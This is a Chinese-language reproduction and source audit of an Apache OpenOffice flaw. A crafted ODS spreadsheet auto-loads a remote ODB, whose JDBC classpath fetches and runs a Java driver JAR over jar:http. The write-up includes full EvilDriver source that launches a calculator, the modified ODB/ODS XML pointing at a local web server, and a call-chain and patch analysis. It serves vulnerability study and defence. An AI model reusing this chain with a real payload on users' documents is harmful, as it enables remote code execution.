ARTICLE · 1156164
Apache OpenOffice CVE-2026-59265 恶意电子表格代码执行漏洞复现
Apache OpenOffice 是一款历史悠久的免费开源跨平台办公套件,包含了对标微软 Office 的文字处理(Writer)、电子表格(Calc)、演示文稿(Impress)、绘图(Draw)与数据库(Base)等完整组件;它原生支持国际开放文档格式(ODF)并兼容常见微软文件格式,支持个人与商业机构完全免费使用,是 Microsoft Office 最经典的免费替代方案之一。Apache OpenOffice v4.1.16 及更早版本中 Java 集成存在代码执行漏洞,允许用户打开恶意构造的不受信任文档时触发任意代码(包括远程代码)的执行。此问题预计将在 4.1.17 版本中修复,该版本目前处于发布候选阶段。在此之前,用户可通过在“首选项”对话框中禁用 Java 运行时集成来缓解此风险,从而防止攻击。
软件下载地址
https://www.openoffice.org/download/
github仓库地址
https://github.com/apache/openoffice/
漏洞复现必备jre环境-32位jdk —— jdk8u472-b08-jre
https://github.com/adoptium/temurin8-binaries/releases/tag/jdk8u472-b08
poc参考
https://github.com/v12-security/pocs/tree/main/office_jdbc_bugs
漏洞复现
1.编译JDBC驱动
import java.sql.Connection;import java.sql.Driver;import java.sql.DriverPropertyInfo;import java.sql.SQLException;import java.util.Locale;import java.util.Properties;import java.util.concurrent.atomic.AtomicBoolean;import java.util.logging.Logger;public class EvilDriver implements Driver { private static final AtomicBoolean calculatorOpened = new AtomicBoolean(false); static { openCalculator(); } public EvilDriver() { openCalculator(); } private static void openCalculator() { if (!calculatorOpened.compareAndSet(false, true)) { return; } String os = System.getProperty("os.name", "").toLowerCase(Locale.ROOT); String[] command; if (os.contains("win")) { command = new String[] { "calc.exe" }; } else if (os.contains("mac") || os.contains("darwin")) { command = new String[] { "open", "-a", "Calculator" }; } else { command = new String[] { "xcalc" }; } try { new ProcessBuilder(command).start(); } catch (Exception ignored) { } } @Override public Connection connect(String url, Properties info) throws SQLException { openCalculator(); return null; } @Override public boolean acceptsURL(String url) { return true; } @Override public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) { return new DriverPropertyInfo[0]; } @Override public int getMajorVersion() { return 1; } @Override public int getMinorVersion() { return 0; } @Override public boolean jdbcCompliant() { return false; } @Override public Logger getParentLogger() { return Logger.getGlobal(); }}
src/EvilDriver.java实现java.sql.Driver。加载或实例化EvilDriver时,它会尝试启动计算器。
编译后生成:
hosted_artifacts\\evil-calculator-driver.jar
2.生成odb文件
利用OpenOffice 创建一个空的odb文件,之后以压缩包的形式打开
改变配置文件
<db:driver-settings db:java-driver-class="EvilDriver" db:java-classpath="jar:http://127.0.0.1:8000/evil-calculator-driver.jar!/" <db:data-source-setting-value>EvilDriver</db:data-source-setting-value>

3.创建ods电子表格文件
同样的方式OpenOffice 创建一个空的ods文件,之后以压缩包的形式打开
<table:database-ranges> <table:database-range table:name="Import1" table:target-range-address="工作表1.A3:工作表1.B8" table:contains-header="false" table:refresh-delay="PT1S"> <table:database-source-sql table:database-name="http://127.0.0.1:8000/test.odb" table:sql-statement="SELECT 1"/> </table:database-range></table:database-ranges> </office:spreadsheet>

4.监听8000 放入资源odb和jar文件 打开ods


漏洞调用链审计——ai版
OpenOffice 4.1.16 JDBC java-classpath 源码调用链审计
范围与结论
审计对象是本地源码树 openoffice-4.1.16(Apache OpenOffice 4.1.16,标签 AOO4116-GA),针对已给出的 ODS → 外部 ODB → JDBC classpath 复现链路。本文分析既有实现,不修改源码,也不把普通 JDBC 连接失败当作漏洞。
在此调用链中,db:java-classpath 并非只作为描述性配置保存:ODB XML 导入器将它变成 JavaDriverClassPath 连接属性;数据源层会保留该受支持属性并交给 JDBC 驱动;驱动将其按空格拆成 URL,传入 Java URLClassLoader,再加载并实例化 JavaDriverClass。这条链上未见对 classpath URL scheme 的白名单或“是否允许此文档加载 Java 类”的信任决策。
风险前提包括:用户打开包含相应数据库范围的 ODS;Calc 实际执行该范围的自动刷新;外部 ODB 和 JAR 可由 OpenOffice 所在进程访问;OpenOffice 的 Java/JDBC 功能可用。以复现中的外部 HTTP ODB/JAR 为例,远端内容由文档引用,客户端随后下载并在本地 OpenOffice 进程中加载 Java 类。代码以当前 OpenOffice 进程权限运行。
调用链
ODS table:database-range (refresh-delay, database-name URL) -> Calc XML 导入保存刷新间隔和数据库源 -> ScDocShell::RefreshDBDataHdl -> ScDBDocFunc::DoImport 创建并执行 sdb.RowSet -> RowSet::calcConnection 调用 DatabaseContext::getByName -> 未注册名称按 URL 解释,DatabaseContext 加载外部 ODB -> ODB XML 导入 JavaDriverClass / JavaDriverClassPath 设置 -> ODatabaseSource::buildLowLevelConnection 筛选设置并调用 JDBC 驱动 -> java_sql_Driver::connect / java_sql_Connection::construct -> loadDriverFromProperties -> URLClassLoader.loadClass -> newInstanceObject 实例化 JDBC 驱动类
关键数据流
1. ODS 的刷新属性触发 Calc 导入
main/sc/source/filter/xml/xmldrani.cxx:204-209 将 table:refresh-delay 转成秒;例如 PT1S 得到 1。EndElement() 在数据库范围有 import 参数时调用 SetRefreshDelay、设置刷新 handler 和控制对象(xmldrani.cxx:429-434)。
main/sc/source/core/tool/refreshtimer.cxx:53-60 显示非零 delay 会启动 timer;超时后调用 handler 并继续计时(refreshtimer.cxx:64-75)。Calc 的 ScDocShell::RefreshDBDataHdl 检查该范围确有 import 参数后调用 ScDBDocFunc::DoImport(main/sc/source/ui/docshell/docsh5.cxx:1010-1029)。
这说明 refresh-delay 是自动进入导入流程的触发条件;它本身不加载 Java 类,后续连接流程才是代码加载点。
2. 数据库名称 URL 从 ODS 进入 RowSet
ScDBDocFunc::DoImport 创建 com.sun.star.sdb.RowSet,把导入参数中的数据库名称写入 DataSourceName,随后执行 RowSet(main/sc/source/ui/docshell/dbdocimp.cxx:219-265,特别是 242-265)。ODS 中的 table:database-name 在 XML 导入中被保存为这个名称(main/sc/source/filter/xml/xmldrani.cxx:510-514)。
ORowSet::calcConnection 将非空 DataSourceName 传给 DatabaseContext::getByName,得到 XDataSource 后调用 getConnection(main/dbaccess/source/core/api/RowSet.cxx:2186-2225)。
ODatabaseContext::getByName 对未注册的名称走 sURL = _rName 分支,再调用 loadObjectFromURL(main/dbaccess/source/core/dataaccess/databasecontext.cxx:644-673)。loadObjectFromURL 检查 URL 是否可解析并通过 UCB Content 加载资源(334-345);创建数据库文档模型后以该 URL 加载模型(375-389)。这里没有把可加载协议限定为本地文件协议的检查。
3. ODB XML 把 db:java-classpath 映射为 JDBC 属性
main/dbaccess/source/filter/xml/xmlfilter.cxx:713、746 将 db:java-driver-class 和 db:java-classpath 分别映射到 XML token。xmlDataSource.cxx:130-132 将 driver class 映射到 JavaDriverClass;192-200 将 classpath 映射到 JavaDriverClassPath 并放入导入的属性序列。
随后 ODBFilter::setPropertyInfo 合并这些导入项与驱动默认设置,并设置数据源 Info 属性(main/dbaccess/source/filter/xml/xmlfilter.cxx:947-973)。因此外部 ODB 中的 XML 值会成为数据库数据源的连接设置,而非仅停留在 XML 文本中。
4. JDBC 属性过滤器会放行此属性
ODatabaseSource::buildLowLevelConnection 通过驱动管理器按数据库连接 URL 找到驱动,获取驱动属性信息,然后对数据源设置调用 lcl_filterDriverProperties(main/dbaccess/source/core/dataaccess/datasource.cxx:684-750)。过滤器逻辑(442-482)对已知设置要求同时满足:
数据源模型把该设置列为已知设置;
JDBC 驱动通过
getPropertyInfo声明该设置。
ODatabaseModelImpl::getDefaultDataSourceSettings 将 JavaDriverClassPath 列为已知 JDBC 设置(main/dbaccess/source/core/dataaccess/ModelImpl.cxx:1095-1100);Java JDBC 驱动则在 JDriver.cxx:131-155 声明 JavaDriverClass 与 JavaDriverClassPath。所以 classpath 项会通过过滤。过滤器的目的在于筛选该驱动支持的连接设置,不是对 classpath 内容进行安全校验。
过滤后的属性经 getConnectionWithInfo 送入 JDBC 驱动(datasource.cxx:745-765)。java_sql_Driver::connect 构造连接并调用 construct(url, info)(main/connectivity/source/drivers/jdbc/JDriver.cxx:103-118)。
5. JavaDriverClassPath 进入 URLClassLoader
java_sql_Connection::construct 从连接属性读取 JavaDriverClass 和 JavaDriverClassPath;只有 classpath 为空时才回退到本机配置的驱动路径(main/connectivity/source/drivers/jdbc/JConnection.cxx:778-810)。因此 ODB 提供的非空值优先于全局路径。
loadDriverFromProperties 在路径非空时调用 JDBC 文件内的 loadClass,把 classpath 和类名传入(JConnection.cxx:664-718)。这个 loadClass 调用 jvmaccess::ClassPath::translateToUrls,构造 java/net/URLClassLoader,再调用其 loadClass(JConnection.cxx:190-232)。加载成功后,newInstanceObject() 实例化驱动(JConnection.cxx:719-727)。Java 类初始化和驱动构造逻辑因此会在 OpenOffice 进程中执行;具体 payload 将代码放在静态初始化块还是构造函数,取决于 JAR 的实现。
java-classpath 的具体语义
main/jvmaccess/source/classpath.cxx:53-107 将字符串按空格拆分为若干 token(71),对 OpenOffice 的 ${...} 扩展 URL 做展开(73-95),然后将每个 token 原样交给 java.net.URL(String)(96-107)。随后 doLoadClass 构造 URLClassLoader(URL[]) 并调用 loadClass(128-166)。
对复现值 jar:http://127.0.0.1:8000/evil-calculator-driver.jar!/ 而言,代码路径没有在 native 层拆解或限定 jar:、http:;它把完整字符串交给 Java URL 解析,再交给 URLClassLoader。Java 8 的 URL/URLClassLoader 支持 jar: URL 包装远端 HTTP URL,类资源按需读取,因此网络请求通常发生在加载器实际解析所需类时。若字符串中有空格,会被当作多个 classpath 项拆开;这也是 classpath 必须保持为一个无空格 URL 的原因。
注意:OpenOffice 源码这里只能证明 URL 字符串被传递到 java.net.URL / URLClassLoader,实际 HTTP 请求和 JAR 解包行为来自所使用 Java 运行时的 URL handler 实现。复现环境的 HTTP 日志可以作为运行时证据补充。
安全控制与边界
DatabaseContext::loadObjectFromURL设置MacroExecutionMode::USE_CONFIG(databasecontext.cxx:382-389)。这是 ODB 文档加载时的宏执行策略参数;在上述JavaDriverClassPath→ URLClassLoader 调用链中,未见它被用来授权或拒绝 JDBC Java 类加载。ODB 加载时传入
InteractionHandler,RowSet 也能使用连接交互 handler(RowSet.cxx:2201-2210)。这些交互用于加载/连接或认证场景;在检查的代码路径中未发现“该文档是否可信/是否允许执行其 JDBC 驱动类”的专门确认。JDBC 属性过滤器只核对属性名是否已知且由驱动声明支持;没有检查属性值的 scheme、来源或信任级别。
jvmaccess::ClassPath对 URL 做 OpenOffice 宏 URL 展开,但在此处未见协议 allowlist;随后直接构造 Java URL 与 URLClassLoader。这些结论限定于 4.1.16 中本次追踪的 ODS/ODB/JDBC 路径,不等同于证明整个代码库所有组件均不存在其他策略或控制。
复现字段与源码位置对应
| 复现内容 | 源码中的承接点 | 含义 |
|---|---|---|
ODS table:refresh-delay="PT1S" | xmldrani.cxx:204-209, 429-434; refreshtimer.cxx:53-75 | 设置并启动数据库范围刷新 timer |
ODS table:database-name="http://.../poc-calculator.odb" | xmldrani.cxx:510-514; dbdocimp.cxx:242-265 | URL 变为 RowSet 的 DataSourceName 并触发执行 |
| 外部 ODB URL | RowSet.cxx:2186-2225; databasecontext.cxx:644-673, 334-389 | 按名称查询数据源;未注册时作为 URL 加载 ODB |
ODB db:java-driver-class="EvilDriver" | xmlDataSource.cxx:130-132; JConnection.cxx:796-810 | 变为并读取 JavaDriverClass |
ODB db:java-classpath="jar:http://...!/" | xmlDataSource.cxx:192-200; datasource.cxx:442-482, 745-765; JConnection.cxx:796-810 | 变为 JDBC 属性、通过过滤并送到驱动 |
| 远程 JAR / 驱动类 | classpath.cxx:53-107, 128-166; JConnection.cxx:664-727 | URL → URLClassLoader → 加载并实例化类 |
源码级修复方向
在 JDBC 驱动加载边界处理不可信来源:不要默认允许由外部文档提供的 classpath 触发 Java 类加载;引入与文档信任/用户选择相连的明确授权。
对 classpath URL 做协议策略校验,并默认拒绝网络来源;不能只校验
java-classpath是否为非空字符串。若保留远程扩展能力,应有单独的显式信任机制。在自动刷新导入前增加对外部 ODB 数据源的安全确认或安全策略,并确保不因 timer/RowSet 隐式执行而绕过同一授权。
回归验证应覆盖:HTTP/JAR URL、
jar:http包装 URL、不同 URL scheme、以空格分隔的多个 classpath 项、本地已安装 JDBC 驱动,以及 Java 未启用时的失败路径。
以上是修复建议,不是对 4.1.17 实际补丁的描述;本次只审计了 4.1.16 源码。
官方补丁体现的修复思路
用户提供的两个官方提交分别是:
95923fd437e06edd38a4f0e139a27c755a6f3ba6:Reject further invalid URLsc699bed3f75e79bd64ddec9dec49f9e210eed281:Additional check
两个补丁分别落在不同的安全边界,形成纵深防御。
1. 在 Java 类路径转换边界只允许本地来源
第一个补丁修改 main/jvmaccess/source/classpath.cxx,新增 isLocalClassPathUrl。允许的前缀为:
file:jrt:jmod:jar:file:jar:jrt:jar:jmod:
检查使用大小写不敏感的前缀匹配。通过检查的 URL 才会继续构造 java.net.URL;不通过的 URL 会记录 trace 并跳过:
classpath token -> 展开 OpenOffice URL -> isLocalClassPathUrl -> 允许:加入 URL 数组 -> 拒绝:记录并跳过 -> URLClassLoader(URL[])
因此 PoC 中的:
jar:http://127.0.0.1:8000/evil-calculator-driver.jar!/不匹配任何允许前缀,会在 java.net.URL 对象创建之前被跳过,不能再通过该路径让 URLClassLoader 访问 HTTP JAR。jar:file: 仍被保留,是为了支持本地 JAR;jrt: 和 jmod: 对应 JVM 镜像/模块资源。
该补丁的特点是保留 JDBC 的本地驱动扩展能力,同时阻断网络类路径。它没有移除 JavaDriverClass、JavaDriverClassPath 属性,也没有禁止 JDBC;保护点位于“字符串即将进入 Java URL/类加载器”的最后边界。
补丁注释还要求 Java 侧的 com.sun.star.comp.sdbc.Tools 使用同一白名单。这表示官方意图是让 native 层和 Java 层采用一致策略,避免只修一条实现路径。4.1.16 源码中尚未看到该新增白名单,补丁本身是后续版本的变更。
需要注意,这个补丁主要阻断“远程 JAR 类加载”,并不阻止 Calc 先读取外部 ODB;因此它不能单独提供外部链接授权语义。
2. 在 Calc 数据库导入入口请求外部链接授权
第二个补丁修改 main/sc/source/ui/docshell/dbdocimp.cxx 的 ScDBDocFunc::DoImport。在创建 RowSet、进入 DatabaseContext 之前,新增:
用
INetURLObject判断rParam.aDBName是否是可解析 URL;从当前 Calc 文档模型查询
com.sun.star.document.XLinkAuthorizer;调用
authorizeLinks(rParam.aDBName);授权失败时立即返回
sal_False。
调用顺序变为:
数据库范围刷新 -> ScDBDocFunc::DoImport -> 数据库名称是 URL? -> 否:继续原流程 -> 是:XLinkAuthorizer 授权 -> 拒绝:直接停止,不创建/执行 RowSet -> 允许:继续读取外部 ODB
这里的保护点比 DatabaseContext::loadObjectFromURL 更早,能够在外部 ODB 被打开、ODB 属性被导入、JDBC 驱动被查找之前阻断链路。它也覆盖自动刷新,因为自动刷新最终同样进入 DoImport。
3. 授权行为来自 Calc 现有的链接策略
4.1.16 已有 ScModelObj::authorizeLinks 实现(main/sc/source/ui/unoobj/docuno.cxx:1312-1335),第二个补丁只是把它接入数据库导入入口。现有逻辑是:
urlIsVendor命中的内部/供应商 URL 拒绝;urlIsSafe命中的安全 URL 直接允许;其他 URL 交给
LinkManager::GetUserAllowsLinkUpdate;GetUserAllowsLinkUpdate弹出一次“是否更新链接”的确认框,默认按钮为 No(main/sfx2/source/appl/linkmgr2.cxx:299-309)。
LinkManager::urlIsSafe 对 URL 解析后要求没有 path 和 server(linkmgr2.cxx:547-576),因此普通 http://127.0.0.1:8000/... 不属于无提示安全 URL,通常会进入用户授权分支。用户拒绝时,第二个补丁在 DoImport 返回失败,后续不会到达 RowSet/ODB/JDBC 路径。
4. 两个补丁的关系
两者不是重复修复:
| 防线 | 位置 | 阻断对象 | 用户体验 |
|---|---|---|---|
| 链接授权 | Calc DoImport 入口 | 外部数据库源 URL 的自动读取 | 对外部链接请求用户确认,拒绝则停止导入 |
| 类路径白名单 | jvmaccess::ClassPath::doTranslateToUrls | 非本地 JAR/URL classpath | 允许本地驱动,跳过网络 classpath |
即使用户允许读取外部 ODB,第一份补丁仍会阻止 jar:http:;即使某个调用路径绕过了 Calc 入口,类加载边界的白名单仍能阻止网络 JAR。反过来,仅有第一份补丁时,远程 ODB 仍可能被读取并触发其他外部资源行为;仅有第二份补丁时,打开文档仍可能无提示访问外部 ODB。官方选择同时修复,分别控制“读取外部链接”和“执行外部 Java 类”两个不同动作。
5. 对本次 PoC 的直接影响
对 onefile-dbrange-http.ods:
打开后数据库范围刷新进入
DoImport;http://127.0.0.1:8000/poc-calculator.odb被识别为外部 URL;用户拒绝链接授权时,流程在
DoImport返回,通常不会请求 ODB/JAR;用户允许链接授权时,外部 ODB 可以继续加载,但其
jar:httpclasspath 会在classpath.cxx被跳过;因此
EvilDriver不再从该远程 JAR 被加载和实例化。
官方修复的核心不是把 java-classpath XML 标签删除,而是:
在外部资源读取处要求文档链接授权,在 Java 类加载处只接受本地类路径;把网络数据访问和可执行 Java 类加载拆成两个独立的安全决策点。
参考
https://github.com/apache/openoffice/commit/95923fd437e06edd38a4f0e139a27c755a6f3ba6.patch
https://github.com/apache/openoffice/commit/c699bed3f75e79bd64ddec9dec49f9e210eed281.patch